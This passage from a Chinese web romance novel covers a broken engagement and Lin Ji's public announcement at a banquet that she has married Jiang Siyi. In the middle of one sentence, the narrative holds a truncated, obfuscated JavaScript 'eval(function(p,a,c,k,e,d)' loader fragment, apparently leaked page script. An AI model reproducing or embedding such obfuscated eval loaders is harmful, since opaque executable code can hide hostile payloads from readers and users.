林棘不知道怎么想她,会不会觉得她神经兮兮的。 把手机拿出来,姜司意思索着要不要跟林棘解释一下,文身真的很好看,比她设想的好得多。 只是不知道林棘还愿不愿意搭理她。 犹豫时,手机进来一条微信,居然是林棘发来的。 【翅膀的意义,是想飞得更高吗?】 姜司意的心结结实实地颤了一下。 好像每次不知所措的时候,林棘就会出现在最恰好的位置上,化解她的焦虑。 一面是让人害怕的气场,一面竟是姜司意从未体会过的熨帖。 已经很久没人在意过她内心的想法,问过她想要什么。 姜司意郑重其事地握着手机,认真地回复。 【当然是飞得越高越好。就算没那么高,也希望自己想去哪儿就能去哪儿。】 林棘很快回复:【是想要自由。】 【嗯,自由,是谁都想要的吧。】 …… 严逾回到休息室时,见林棘交叠着修长的双腿坐在沙发上一言不发,单手拿着手机压在膝盖上,另一只手指背托着下巴,双眸动也不动,似乎在思索什么。 太稀奇了,并购公司从来不眨眼的林棘,此刻居然在深思熟虑。 余光里有东西在动,林棘从沉思中回神,看向门口的严逾。 严逾正拿着手机兴致勃勃地拍她。 林棘:? 严逾:“第一次见你心事重重的样子,不拍下来留个纪念对不起自己。” 林棘:…… . 要不是为了回复林棘,姜司意肯定不会这么快打开微信,宋缇的信息什么时候看到也未可知。 文身店距离姜司意住的地方就两站地,都走到家楼下了,才发现被取消置顶的宋缇混在一群信息中间,已经被晾了好几个小时。 还连发六条微信。 真是讽刺,以前心心念念等宋缇的微信,等来的不是敷衍的三言两语,就是永远的沉默。 一颗心被伤得体无完肤,下定决心不再等待,那个人却声势浩大主动出现了。 宋缇从来没有对她这么积极过。 不想看,关于这个人的半点事她都不想再知道。 退出微信时,手腕忽然一痛,刚要迈入单元口的步伐瞬间被扯了回来。 姜司意错愕回头,对上宋缇冰封般的脸。 或许是宋缇平时无事也挂着几分笑,又是朋友圈里公认的好脾气,看惯了她软言温语的模样,又数日未见,藏着闷雷的脸忽然撞入眼底,让姜司意一恍惚,回过神才认出她是谁。 “为什么不回我微信?把东西寄过来是什么意思?” 宋缇五指施力,捏得姜司意骨头发痛。 姜司意被弄得难受,用力将手臂抽回来,警惕地往回退了好几步。 宋缇微张的五指滞留在半空。 明明以前总是随叫随到,让她跟在身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可是,当她一手谋划,期待许久的结局真的如她所愿,她发现自己并没有想象中的开心,反而是被愤怒和焦躁填满心口。 宋缇对谭雅并非真心。她俩是大学同学,谭雅定居国外,她第一次去伦敦出差的时候两人就联系上了。 宋缇并不对谭雅这种类型的女人着迷,只是足够漂亮,足够一场游戏的吸引力。 享受游戏的乐趣只是表面上肤浅的趣味,宋缇明白自己只是想要一场叛逆,对约束自己人生联姻的反叛——即便这场联姻在开始的时候她是享受的,可谁也没规定喜欢一时就要喜欢一世。 姜司意就是那根束手束脚的绳索,而谭雅是手中的玩物。 她没想过和姜司意白头偕老,更不会和谭雅修成正果。 在她心里,这两人都不配。 现下姜司意终于如她所愿退婚了,她又觉得有种被下位者审判的羞耻感,被冒犯的愤懑。 “是吗,那成为陌生人之前,我最后再提醒你一句。” 宋缇依旧像只倨傲优雅的孔雀,仰着下巴,忍着让她浑身不适的怨忿和已经冲到喉咙口的恶言,用尽全力让自己看上去浑然不在意。 “退婚之后,你在姜家可更不好过。” 姜司意完全没被她激怒,更不担忧。 这场“好意”的忠告到最后换回来平静的回应,甚至是轻漫。 “那也与你无关了。以后不要再来打扰我。” 姜司意彻底划清界限的回应灌入耳中,宋缇只感觉眼皮不受控制地跳动。 眼睁睁地看着眼前的女人转身,用背对她,盘起发髻的脖颈后露出一双翅膀的文身。 是刚刚文的。 她要展翅飞走了。 不甘的念头如闪电,猛然蹿上心头。 脱口而出的话甚至罕见地没有过脑子。 “我不同意退婚。” 姜司意脚步顿住,回眸时的眼睛里写满了难以置信。 冬日冷阳悬在宋缇身后,朦胧又阴森。 宋缇:“你说退婚就退婚?你算什么东西,我不允许。” …… 文身工作室。 林棘今天就文了姜司意那一对翅膀后就准备走了。 离开之前严逾还在欲言又止。 林棘用宽大温暖的围巾将半张脸围上的时候说: “是她。” 严逾:“……我还什么都没问呢。” “不是想问很久了?” “那倒是……” 严逾的确太好奇了,从林棘说秋季要结婚的时候就好奇得要命,到底什么样的天仙能入她的眼,能让她从冬季就开始计划婚礼。 先前在下午茶餐厅的时候严逾就有点怀疑,结果居然真的是圈子里最不起眼,家道中落的姜司意。 这姜司意吧,长得是好看,五官清美精致,有种纯然的古典美。 可是严逾怎么听说,姜家已经不行了。 而且还是表妹的未婚妻……这是想越界? 话说回来,下午茶餐厅那一下后,恐怕这“未婚妻”已经变成“前未婚妻”了。 严逾双手抄在上衣口袋里,靠着门边感叹: “没想到你这种不喜欢计划之外的绝对J人,居然会这么突然决定一场婚姻。” 林棘随意将围巾系了个结,眼波轻转,一贯疏冷的眸色因为提及那个人而变得柔软。 “不是。她一直都在我人生规划之内。” 40-50 第41章 ◎“我追的她。”◎ 一楼宴会厅。 宋缇一直在往楼上休息室的方向看,心不在焉,端着酒杯的手还在不自然地颤抖。 林云汀今天也来了,单独来的。 宋缇出轨还被姜司意退婚的事传得沸沸扬扬,宋立名觉得丢人,加上林棘对宋家一直冷淡的态度,他狠了心没出席。 其实一向爱面子的林云汀也不想来。 出于直觉,觉得不喜欢办宴会的林棘忽然反常办了这么一场盛大宴会,肯定是有目的的。 不知道会发生什么大事,不来一探究竟她放心不下。 林云汀站在女儿身边,也在等着林棘出现。 注意力被宋缇不自然的手腕吸引,暼一眼问:“手怎么了?” 被那个莫名其妙冲出来的女人差点折断手臂,当时灰头土脸的样子不想多一个人知道。 宋缇只说:“没事,扭了一下。” 不远处,谢舒旖、周彦林和一众二代们都来了,看到林云汀脸色不太好看,很自觉没过来碍眼。 林云汀知道宋缇对工作上心了一段时间后,又开始胡混。这几天更是变本加厉泡在夜店里,和那些狐朋狗友胡混。 和之前想的一样,跟姜司意在一起的时候,姜司意稳重的性子能护着她,多少能托着她,出不了大错。 看看现在,那个叫谭雅的女人给她们家丢了多大的脸,丑事闹得整个圈子里都知道了,却一次都没来家里拜访,半点歉意都没有传达,人事儿不懂。 和这样的人在一起,宋缇只会越来越堕落。 更让林云汀心烦的是,她听说大姐林雪泊最近不知道为什么沉迷拍卖,经常去姜司意上班的那个拍卖行,每次至少都挥霍进去大几百万。 两人越走越近不说,居然让姜司意去她家里私洽,叫上了一群的亲朋好友一起买买买。 最让林云汀郁闷的是,去了那么多人,竟没叫她。 可能也是觉得她和姜司意的关系敏感,为她着想才没这么做,可是林云汀心里就是难受得紧。 三表舅说那天姜司意带了三箱珠宝玉器过来,被抢购一空。 还让林棘带她去试衣服。 言下之意,两个孩子谈得来。 这是什么意思,难道要撮合她俩? 林云汀怎么想都觉得太荒唐了,不可能。 虽说……最开始姜司意外婆和林家订婚的对象,就是林雪泊的孩子,也就是林棘。 可那都是老黄历了。 林棘小时候因意外走丢,林雪泊对外宣称女儿是去国外读书,严禁任何人说出真相,林云汀自然也不敢多嘴。 知晓内情的人很少,没人觉得林棘还能活着回来。 当时一点点大的宋缇也只当表姐去国外了,一直缠着林云汀,让她去说变更婚约的事。 “表姐是不是不要姜司意了?不要就让给我吧?” 那年的姜家如日中天,林云汀就依了宋缇。 等待了一段时日,等大姐情绪稍微稳定些后,林云汀在大姐和姜司意母亲之间跑了许多趟,促成了变更订婚对象这件事。 后来林棘奇迹般找回来了,身心都病得很重。 林雪泊忙着带孩子去国外治病,姜司意母亲也过世有几年了,订婚对象变更这件事没人再提。 林棘在国外治疗了两年时间,据说有所好转,林雪泊就将她接回了国,精心照顾着。 不得不说大姐是眼光长远的。 当年女儿走丢的事情一直压着,不许任何人往外说,就是想着万一孩子能回来,不会有任何不好听的声音伴随她。 和黑暗的过去脱钩,才有彻底痊愈的可能。 没想到孩子真找回来了,成了从海外读书回来的小神童。 失踪这么久的原因,什么样的传闻都有。 甚至还有林棘杀了人,躲到国外的谣言。 鲜少有人知道她走丢的真正过往。 林棘也是厉害,回国后只用了一年时间就远远超越了同龄人,成了门门成绩拔尖的高材生,高一都没读,直接跳到高二。 之后为了创业再次出国,那是就是后话了。 林云汀有暗暗打听过,林棘看上去正常,其实还有些心理问题没能真正解决,依旧在治疗。 更好笑的是,姜司意很怕她。 估计和当时林棘本身太过阴冷的气质,以及学校流传的谣言有关。 等到孩子们长大,脱离了学生身份,姜司意和宋缇完成了真正的订婚仪式。 她们是彼此的未婚妻,这件事所有人都知道,反而知晓姜司意最初订婚对象是林棘的人寥寥无几。 换婚约一事也只有家里亲近的亲戚知道。 已经成了既定事实,没有再突然转回去的道理。 不然就是姐妹换。妻。 大姐怎么能让这种事发生? 不怕对林棘,也对她自己的声誉有损吗? 可是……将最近发生的事情串在一起,林云汀心里有个可怕的念头。 大姐是不是一直在为什么事谋划着? 无数的往事和复杂的念头在林云汀的脑中荡过。 直到宴会厅内一阵异常的低语打断了她的思绪。 “又和姜司意在一起?” “怎么觉得她俩穿得好搭啊,裙子像是情侣款?” “不止裙子,你没发现?戒指也是一样的。” “钻石戒指好闪,结婚戒指的既视感啊。” 林云汀蓦然抬头,和怔愣的宋缇一起看向从二楼翩翩而来的两人。 姜司意和林棘穿着款式非常相近的顶奢超季高定长裙,缓步走下台阶。 圈在无名指上的同款红钻戒指惊人的美,毫不避讳地展现在所有人面前。 同样在等待林棘出现的孔郁琛看到这一幕,“咦”了一声,低声问身边的妻子林雪泊: “这是什么意思?” 林雪泊淡定地迎着他和周围诧异的目光。 “你想的那个意思。” “……订婚了?” “结婚了。” 孔郁琛:。 一时无言以对,脑中惊涛骇浪。 “但……” 巨大的信息量,以至于他想问都不知道该先问哪个问题。 林雪泊当然知道孔郁琛为何语塞。 得知女儿和姜司意已经结婚的当下,林雪泊也是相同的震惊,有着同样的顾虑。 可林棘那句“她本来就是我的未婚妻”,狠狠拧痛了林雪泊的心。 女儿的生命中失去了什么,她比任何人都清楚。 如今她只想无条件地护着女儿,将失去的人生一点点拾回。 林雪泊望着远处人群中的林棘和姜司意,双眸晶亮,沉沉地呢喃: “现在的一切,本就该是小佑的。” 大理石弧形台阶上。 姜司意看似挂着从容的笑容,其实如果仔细看,会发现她嘴角的笑意摇摇欲坠。 和之前几次林棘在众目睽睽之下走向她时带来的注视不同,这次出席宴会的人之多,不是先前可以比拟的。 更重要的是,先前她是和林棘发生关联的对象,大家的注意力还是放在林棘身上。 此时此刻,同款情侣裙和同款婚戒所明示的意义,不用谁开口解释,有心者已经能读懂。 这一刻她和林棘是一体的。 恐怕相比于林棘来说,更多人打量的是她。 疑惑、错愕、羡慕的灼热目光聚集在她身上,一寸寸地打量着,想要从她身上获得更多的答案,从细节里看出破绽。 这是她第一次和林棘以已婚状态,完全不掩饰地出现在这么多人的公开场合。 和第一次面试,第一次登上主拍台,第一次参加春拍时一样,很紧张。 姜司意表面淡然镇定,谁也不在意般,只时不时微微向身边的女人侧过脸,听她说的话,再搭上一两句,亲昵无双。 游刃有余的人,实则手心里微微发潮。 踏在台阶上的脚步,也有点注意力分散所产生的犹豫。 无论林棘选在这个时间点公开她们的关系,是作何考量,姜司意作为她的搭档,受她恩惠的人,一定要将这场戏演好。 察觉到姜司意的摇摆,林棘眼眸微转,握住了她的手。 依托着林棘给予的支撑,姜司意的脚步立刻稳住了。 有些意外地看向身边人。 手里发潮,她是不想让林棘握着的。 可林棘半点不嫌弃,反而握得更紧。 到最后一个台阶时,林棘率先走下去,十分细心地回身帮姜司意挽起了华丽但冗长的裙尾,杜绝妻子被绊到的所有可能性。 另一只手则全程牵着姜司意,半点没松开。 林棘的掌心偏冷,很干燥,握着她的力道正好。 不会握痛她,也让她没有逃脱的机会。 姜司意极力控制着过速的心跳。 她不知道自己看上去笑得会不会太假。 与此同时,也在祈祷着耳朵和脸庞不要因为被林棘照顾着,就不争气地迅速发红,让旁人看出端倪—— 毕竟很少有人会因为被妻子牵了手,就满面通红。 林棘无声体贴姜司意的一幕,让周围无数双注视着她们的眼睛,露出难以置信的神色。 公认最难追的高岭之花,从不正眼看谁的冰山,居然为落魄千金挽裙子。 谢舒旖眼睛则死死盯在她们的无名指上。 好大一颗垫形红钻戒指。 曾经她在一场国际珠宝展上被一枚红钻戒指吸引。 那极其罕见纯血般的红钻,像被禁锢着的火焰,美得让她心跳加速。 后来一问,最小的3克拉价格超五千万。 谢舒旖便知道这绝世稀有的红钻是她高攀不起的。 之后很长一段时间都念念不忘,成了她珠宝界的白月光。 而姜司意和林棘此刻戴的,恐怕每只都不止3克拉。 且浓烈的红,比当年她看中的还纯粹,切割工艺更为精湛。 典雅的款式和姜司意今天的妆造非常契合。 与林棘都有些微妙的违和。 仿佛在打造的时候,完全针对姜司意的气质设计,且不夸张不抢风头。 就像在告诉所有人,这枚价值近亿的稀世珍宝,只是姜司意的陪衬。 半小时前。 两人在楼上休息室时,林棘亲自拿着对戒的托盘,送到姜司意面前。 红钻戒指价值几何,作为专业人士,姜司意比任何人都清楚。 林棘已经将戒指托到她面前,她却没敢伸手去取。 林棘眉眼微垂,“你不喜欢?” 姜司意摇摇头,“不是……它,实在太贵重了。” 她很有联姻对象的自觉,她愿意陪林棘演戏,但没办法承担这么昂贵的戒指。 就像林雪泊送给她的珠宝,她一次都没戴过。 林棘沉默了一会儿后,坐到她身侧,捏起她右手指尖,展开。 感受到林棘的目光安静地落在自己的手指上,姜司意喉咙微不可查地轻轻起伏着。 林棘仔仔细细地欣赏她白皙匀称的手。 在红钻中看到了自己的倒映。 “首饰的价钱是人赋予的。无论是素圈还是红钻,无论几千万几亿,有了主人,它才有了价值。只有你喜欢,它才真正有了存在的意义。” 将姜司意的素圈摘下。 随后,红钻戒指圈住姜司意粉色的指尖。 慢慢地推进,推抵指根,轻轻沿着她的指根转动着,将红钻的位置摆正。 红钻闪着夺人心魄的火彩,林棘抬眸看向姜司意。 “很美的手,这枚戒指配得上你。” 姜司意蓦然被某种情绪击中,温暖的热意迅速包裹住心脏。 林棘总是有让她无法反驳,更无法拒绝的能力。 先敬罗裳后敬人,这个并不让人喜欢的道理,姜司意其实在很早以前就懂的。 …… 此刻,谢舒旖看着姜司意手指上的红钻戒指艳羡不已,恨不能用眼神将它偷了。 所有注意力都被姜司意的戒指吸引去,都忘了旁敲侧击最重要的事。 幸好周围有比她更积极的。 谢舒旖斜对面,经常出现在宋缇组织饭局的徐千金成了她的嘴替。 拐弯抹角地问,林棘和姜司意怎么会穿得那么搭,还戴一样的戒指。 姜司意正在思索该怎么回应。 林棘握着她的手腕轻轻转动,变成了十指相握。 林棘:“我们结婚了。” 周围半点人声都听不到,只有酸性爵士乐迷幻慵懒的曲调蔓延整个大厅。 都知道林棘无所顾忌,却没料到她半点都不想掩饰,回答得这么直接。 惊诧的目光一寸寸从林棘的脸庞上转移至姜司意,而后又看向人群外五步距离的宋缇。 宋缇此刻已经无法控制表情。 一脸如遭雷击般的惨白。 总是和徐千金出双入对的蔺千金,刚刚做完美甲的手五指张开,挡在惊讶的嘴前,暗叫一声“天啊”,随后在宋缇耳边说了句: “你未婚妻成你大嫂啦?” 宋缇:…… 惨白的脸上又被难以言喻的窘迫神色全面覆盖。 林棘回答得很直接,可在场的大多数人震惊之后都有些不太相信。 或许是不甘的心态作祟,也可能是知道前未婚妻宋缇也在不远处,看热闹不嫌事大,对于林棘和姜司意结婚之事好奇的问题一个接一个,就想从字里行间里问出点耐人寻味来。 “没想到啊……姐姐喜欢司意这样的,以前还觉得你们完全不熟呢。” “所以,司意你快透露点秘诀,你是怎么追到我们林棘姐姐的?” 怎么追到林棘的…… 姜司意维持着得体的笑意,大脑却在高速运作。 来之前她像准备大型拍卖会一样,准备了很多问题的答案。墨菲定律作祟,准备好答案的没人问,没料到的偏偏被送到面前。 还是她平时太孤僻,也没怎么被人邀请参加聚会,所以经验不足。 临时问及,当然也要周全地回答。 现在她的身份是林棘的妻子,要是露出破绽,会让林棘难堪的。 各种答案在姜司意的脑中呼啸而过。 就要开口时,被林棘先一步揽住了腰。 “我追的她。”林棘说。 【作者有话说】 林棘:宠妻第十三步,无论是谁追的谁,反正是我追的我老婆[害羞] 42 第42章 ◎我们需要在各方面更熟悉彼此。◎ “我追的她。” 简短,且理所当然。 却让姜司意刚才还在高速运作的大脑瞬间罢工。 隐约听见有人倒吸一口气的声音。 林棘追的姜司意? 无法想象冰箱投胎居然会追人。 甚至当着这么多人的面承认了。 看着姜司意的诸多眼神里带着的错愕和探究,此刻慢慢变成了羡慕。 站在人群之中的周彦林浑身不自在,被“你什么时候直播铁锅炖自己”的目光弄得很没面子。 还想挣扎一下,可看到林棘那张冷山般的脸庞,质问的话是不敢直接说的,只能拐弯抹角: “佑姐,恭喜恭喜啊,我想知道你们……” 才起了个头,林棘就用“失陪”二字打断了他的话。 想传达给外界的信息已经传达完了,林棘不想姜司意被太多无聊的问题包围,浪费精力。 再也不觑任何人,目不斜视地牵着妻子离开了。 想要争回点面子,结果折了更多面子进去的周彦林:…… 林雪泊和孔郁琛正坐在不远处的沙发上,和幻维重要的商业合作伙伴攀谈着,时不时往她们这边看一眼。 林棘带着姜司意往自己家庭、事业的核心区域去。 大脑重新开始运作的姜司意,想到刚才林棘帮她回答的那句“我追的她”。 在心里感叹着,林棘姐人真的很好,这么为我着想,说有利于我的好话。 宋缇亲眼看见姜司意和林棘携手穿过人潮,忽略旁人目光,眼中只有彼此。 偶尔还会相视轻语,笑靥盈盈,越走越远。 仿佛噩梦在现实中重现。 梦里姜司意亲密同行的人,此刻有了清晰的模样。 居然是表姐。 表姐完全不在乎她,姜司意也好像全然没发现她。 手里的酒杯什么时候落在地上,甜稠的酒液溅上昂贵闪亮的高跟鞋,她完全不知道。 眼中只有那两个不该在一起的人。 她们是什么时候联系上的? 姜司意当初花那么多钱要买的表,就是想送给表姐吗? 她们进行到哪一步了? 脑中不断浮现站在无数朱砂碗花瓣中无情的姜司意,以及那句—— 我结婚了。 我喜欢她。 洪流般的不忿和嫉妒,几乎在瞬间摧毁她的理智。 双腿不由自主地迈动,要去追姜司意。 刚迈出一步的身子猛然往回撤,本来就痛的手腕被身后人用力拽住,痛得她忍不住低喊了一声。 抬头,对上母亲林云汀满是怒气的脸庞。 林云汀在她耳畔急促、严厉又低声地用气音咬牙切齿了一句。 “想做什么?还嫌不够丢人?!” 宋缇眼睛血红,脑中一片混乱。 “她们结婚了……为什么,我没答应姜司意退婚,她怎么能和别人结婚……妈,她是我的未婚妻!” 说着说着眼泪开始控制不住地往下落。 她抽泣的声音让周围有人看过来,林云汀只能硬将她拉到没人的地方,免得她胡言乱语被听见。 强行把宋缇拽到角落,林云汀看女儿*眼泪涟涟是心疼,可心里更多的是嫌弃她的无能。 和大姐在同样的家庭长大,流着一样的血,怎么姐妹俩生出来的女儿天差地别? “别哭了,自己做了什么事心里有点数,现在哭有什么用?” 林云汀用手绢帮宋缇擦掉眼泪,与此同时警告她。 “不要去你小佑姐面前说疯话,听到了吗?” 宋缇一张脸已经被她哭花,抽噎着道: “你也觉得没办法挽回了吗……难道、我,真要叫姜司意,大嫂?我怎么可能这样叫她!” 林云汀也很心烦,却也没别的路可走。 “那都结婚了,该叫得叫。” 宋缇:“我不。” “你不……” 简简单单两个字,气得林云汀当场转了半个圈,感觉嘴角火烧火燎地痛,不知道是不是被宋缇当场气出了个泡。 转了回来,林云汀往宋缇身前迈一步,指着她再次警告道: “我没空和你闹,现在就跟你说一件事——禁止去你小佑姐面前发疯。无论她和谁结婚,一定有她的原因,不是你能干预得了的。如果你还想继续衣食无忧出门就带上脑子,听明白了吗?” 宋缇魂不守舍地低着头,不知道听进去没有。 林云汀实在不想管了,可这是她自己生出来的女儿,不可能不管。 得去找一趟大姐,探探她的口风,有些事得心里有数…… 姜司意和林棘走过周年庆布满鲜花的展架,穿行在缤纷的彩色气球之下,走到合围的沙发组时,满座宾客。 除了林雪泊和孔郁琛,还有诸多捏着酒杯的中年男女。 只剩一个单人沙发是空的。 刚结婚当然不好分开,一群人就要让开位置给这对新人。 林棘说了声“不用”,牵着姜司意让她坐到单人沙发上。 姜司意心想,林棘是要和她分开坐吗? 思绪还未转完,就见林棘随意地坐到沙发扶手上。 她坐主位,林棘守在身边,就挨着她。 众人目光扫过来,都是老江湖,笑容维持着不变,眼底到底多了一丝讶异。 大家见过的林棘是雷厉风行的,理智沉敛的,甚至是心狠手辣的。 粘人的她,绝对是第一次见。 到底是什么样的人能让林棘忽然闪婚,还半步都不舍得远离? 好奇的目光纷纷投向姜司意。 年轻的妻子肤白貌美,无论身上的裙子是什么风格,依旧被她穿出了古典清正的美感。 五官恬静,看似有一份不谙世事的纯然,可那双明亮的眼睛分明藏着故事和智慧。 身材……不敢细看,不太礼貌,目光粗粗一扫也能发现极有风韵。 妻子美成这样,也能理解林棘为什么不舍得离开半分了。 眼前对姜司意和善微笑的,全都是经常出现在财经新闻中的熟面孔。 要是放在平时,这些人都会是她想要重点联系发展的客户。 可是现下场合显然不太适合。 这些企业主银行家们,今天是为了林棘而来。 完全没想到会正巧遇到她宣布结婚的现场。 面对这位新鲜出炉且很面生的“林太太”,大家都非常好奇。 一位卷发女士夸了姜司意的外貌和气质之后,非常客气地询问她的职业。 “拍卖师”这三个字已经到了姜司意嘴边,忽有停顿。 林云汀曾经贬低她工作的话,不打招呼地浮现在记忆之中。 ——还得维系客户,和销售一样,低三下四地求人。 姜司意当然明白林雪泊和林云汀是不一样的。 经常到拍卖行捧场,完全不轻视她的职业,更是从来没有像林云汀那般让她放弃事业,专注于家庭。 如林云汀这般打击她的人,她可以据理力争。 反而是对她好的人,更会在意自己是否会给对方造成困扰。 正思索该怎么回答时,林棘的指尖轻压在她肩头,让她思绪一定。 “司意是嘉仕比的拍卖师。” 因为诸多顾虑而迟迟没能说出的话,被林棘毫不介意地说出口。 姜司意几乎是第一时间去看林雪泊和孔郁琛的表情。 孔郁琛全程笑得慈祥,而林雪泊不仅维持着笑意,还接了林棘的话。 “我们家司意非常优秀,场场得‘白手套’。” 现场没人对拍卖师这份职业表现出轻视或鄙夷,相反,都顺着林雪泊的话说,年纪轻轻场场得“白手套”很不容易。 涵养极好,连奉承的话都尽量显得不那么刻意。 一位戴着眼镜,两鬓发白的中年男人惊喜道: “嘉仕比?春拍的时候我有参加油画场的拍卖,没看到姜小姐啊,姜小姐是哪个部门的?” 姜司意:“我是金石玉器部的。” “金石玉器?那是负责拍卖珠宝和古董?” “是的。” 那戴眼镜男人笑了起来,对身边的人摊手笑道: “你说巧不巧?我儿子马上也要结婚,正愁不知道送什么彩礼给儿媳妇。珠宝古董肯定最合适啊。” 和对方相视哈哈笑完,眼镜男对姜司意笑容可掬道: “姜小姐方不方便加个微信,到时候我也好去给我儿媳妇准备彩礼。” 姜司意不太知道他和幻维的关系,不确定林棘的看法。 这微信不知道好不好加。 林棘方才搭在她肩头的指尖,微不可查地在她锁骨附近点了一下。 没有言语上的交流,姜司意就是知道林棘的意思是—— 可以。 姜司意加了对方的微信,之后坐在合围沙发组这一圈的J城话事人,纷纷以各种理由都加了她。 以往都是她费尽心思去加收藏家的代理、助理或秘书的微信。 回头觉得她碍事,还会被删除好友。 今天却是被人追着添加。 感觉挺新鲜的。 一圈好友加完,侍应送酒过来。 姜司意捏了一杯酒,趁机转头看林棘,往她的方向坐直了,似乎有话要跟她说。 她坐在包裹感极佳的沙发上,林棘坐于扶手,就算她坐得再直也够不着林棘的耳朵。 “嗯?” 林棘撑着沙发靠背,配合地弯腰俯身,将耳朵凑到她嘴边。 “你放心。”姜司意说,“我不会对这些客户胡搅蛮缠,不会让你丢人的。” 微弱的气流在林棘的耳骨周围徘徊着,带着属于姜司意的香气。 酥麻的感觉从耳畔闪入心尖上,有点难熬,但林棘很喜欢。 “胡搅蛮缠也可以。” “啊?” 趁着姜司意有些疑惑的时候,林棘顺走了她手里的酒杯。 “我不觉得丢人。” 说完这一句,林棘慢悠悠地喝酒。 姜司意手里空了,有点不明白侍应就在边上,托盘里托着好多酒,为什么林棘就要拿她手中的这一只。 林棘拿走姜司意的酒,自然是因为知道眼前人贪几杯后,安全的社交距离就会缩短。 今天这么多人,她可不想姜司意酒后会和谁亲近。 姜司意却以为林棘是图方便,毕竟侍应生再近,也没有她手里的酒杯近。 再拿一杯就是了。 姜司意又拿了一杯过来。 刚要喝,又被林棘拿走。 姜司意看着左右手各端着一杯酒的林棘:? 林棘已经通过前两次的实验验证了,不会让姜司意害怕,甚至有点喜欢的笑容和说话方式是什么样的了。 眼睛微弯,笑意浸在眼睛里。 “这么爱喝酒?没想过喝多了怎么办吗,司意?” 尾调还是轻柔地上扬,像年长的姐姐宠溺地告诫着。 不知道从什么时候开始,已经开始省去她的姓,直呼她的名了。 姜司意感觉心尖被一片羽毛扫过,心动的战栗让她胸腔里弥漫着陌生的酸软感。 林棘美得实在太强烈,姜司意不太敢直视她的眼睛,转开视线小声“哦”。 “那就,不喝了。” 林棘被姜司意乖顺的模样弄得眼眸有一瞬的沉沦。 周围的人声过了好一会儿才重新进入到她的意识里。 有林棘在,姜司意面对任何人都没有什么紧张的情绪了。 因为她知道,即便她说错什么做错什么,林棘也不会怪她。 林棘从来不会审判她。 听着周围人闲叙,偶尔话题落在她身上,她也能自如应对。 在拍卖行养成的职业习惯,就是不会让场面冷下来。 其实聊的都是很一般的话题。 比如她和林棘从小就认识,比如林棘回国之后在拍卖行的相逢,比如林棘在寻找奶奶的遗物,成为她们偶尔相见的契机…… 都是实话。 当然,也有一些话带了点夸张和演绎的成分。 比如对林棘生活的深入程度,迄今为止她俩的独处都是在姜司意家里完成的。 她都不算进入过林棘的生活,遑论“深入”。 由前两次的演绎打基础,这次姜司意非常自如。 只是有一刻的某句话之后,她发现林棘的神态有一点点的不自然。 可能别人发现不了,但姜司意能察觉到。 话题和话题的间隙,姜司意悄声问林棘: “刚才我说错话了吗?” 方才聊到林棘大手笔拿下幻维总部大厦,说起林棘的办公室,她就插话般随意说了句林棘办公室的视野很好,以表达身为正常的妻子,去过另一半的办公室。 林棘的办公室必然是整个幻维总部大厦视野最好的地方,这应该出不了错吧? 林棘:“也没有。” 这个“也”字很微妙。 姜司意:“……那就是有了。” 姜司意不解,怎么会? 林棘保持着笑容,“我办公室在一楼。” 姜司意:。 蛤? 就连吴经理的办公室都能俯视整个CBD,林棘的竟在一楼? 这么反人类? 从容了大半场的姜司意又开始攥拳头,“那……” 林棘手指挑开姜司意的拳,伸进去,玩似的将她五指重新张开,握过来,不让她紧攥。 “一楼也可以有好视野。” 姜司意注意力都在林棘说的话上,完全没注意她的手又一次落入林棘的掌心里,还被轻轻揉捏,手指缓缓舒展着。 “那你的办公室,视野好吗?” 林棘喜欢清静,所以玻璃幕墙之外面对的是一处除了阳光什么都没有的空院子。 可以说和“视野”毫无关联。 林棘却是悠然道:“等下周造个枯山水的景观,就是个‘视野很好’的办公室了。” 姜司意:。 幸好幻维总部搬回国的时间不长,知道她办公室在一楼,且来过的人不算多。所以知晓她办公室外景一片荒芜的人少之又少。 平时林棘极少有空在办公室里会晤,冷淡的性格此刻意外地打了掩护。 姜司意正想问她——所以,你办公室为什么在一楼呢? 林棘率先低语。 “就算这次瞒过去,下回还是有可能暴露。结婚了,就别再异地恋了。” 姜司意眼睛慢慢睁圆,“嗯?” 林棘灼热的视线慢慢降落在姜司意的眸底。 “搬来和我一起住吧,我们需要在各方面更熟悉彼此。” 【作者有话说】 林棘:宠妻第十四步,当然是把老婆接过来同居,方便全方面地照顾[垂耳兔头][垂耳兔头] 43 第43章 ◎那我,就去打扰你了。◎ 天色已晚,户外花园派对才刚刚开始。 智能驱蚊系统早就为整个花园布上一层不受蚊虫侵扰的屏障。 庭院空调控制着园中的温度,让人有种置身秋季的清爽和干燥。 “肯定是假的。” 周彦林手里的酒都忘了喝,一屁股坐下就不甘心地丢出这么一句话。 “行了,你可闭嘴吧。是酒不好喝还是饭不好吃?” 谢舒旖翘着脚,用鞋尖往他的方向踢了一下。 周彦林:“难道我有说错吗?之前她们俩完全没有交集,忽然结婚还这么高调这么亲密,怎么看都是利益交换,演的。” 徐千金已经喝到有点微醺,笑着劝周彦林: “看给你激动的。没事,不就是直播铁锅炖自己吗?十八年后又是一条好汉。” 周彦林:…… 谢舒旖摇晃着手里的酒杯说:“甭管是真是假,能在这么多人的场合公开关系,认领对方的身份,说明是在意的。你忿忿不平有什么用?” 周彦林:“和我有什么关系,我忿忿不平什么?当然是替Stella姐不值了。你说,Stella姐都看不上的人,林棘有可能看得上——” 周彦林还没说完,就被谢舒旖踏踏实实地用力踢了一脚。 “说瓜不说名,你怎么回事?!” 周彦林被骂得憋着一口气,没继续说下去。 谢舒旖知道周彦林从小就暗恋宋缇,所以关于宋缇的事一撺掇他一个准,他肯定会全部办好。 当初在被姜司意退婚最初,都不用说,周彦林就主动找人去拍卖行找姜司意晦气。 虽说最后被姜司意化解了吧。 现在这么激动也是因为想为宋缇打抱不平。 可这事儿有点变化。 宋缇和谭雅的事也不知道被哪个不长眼的,宣扬得所有人都知道了。 就连一向喜欢看好戏的谢舒旖都有点心惊胆战。 感觉有大人物下场,吃瓜看戏起来也需更谨慎了。 现在林棘和姜司意又当着宋缇的面官宣已婚,别管关起门是真是假,所有人看到的就是两人恩爱非常。 有今天这次高调同框,以后想再看姜司意的热闹,恐怕得想想自己什么分量,惹不惹得起林家。 而宋缇彻底变成了笑柄,周彦林咽不下这口气很正常。 周彦林说什么都不对,气得猛灌自己好几杯酒,之后环视一圈说: “Stella姐呢?怎么不见她人?” 谢舒旖:“不知道,我也找不到她。”。 此刻的宋缇正安静地靠在二楼尽头的房门口。 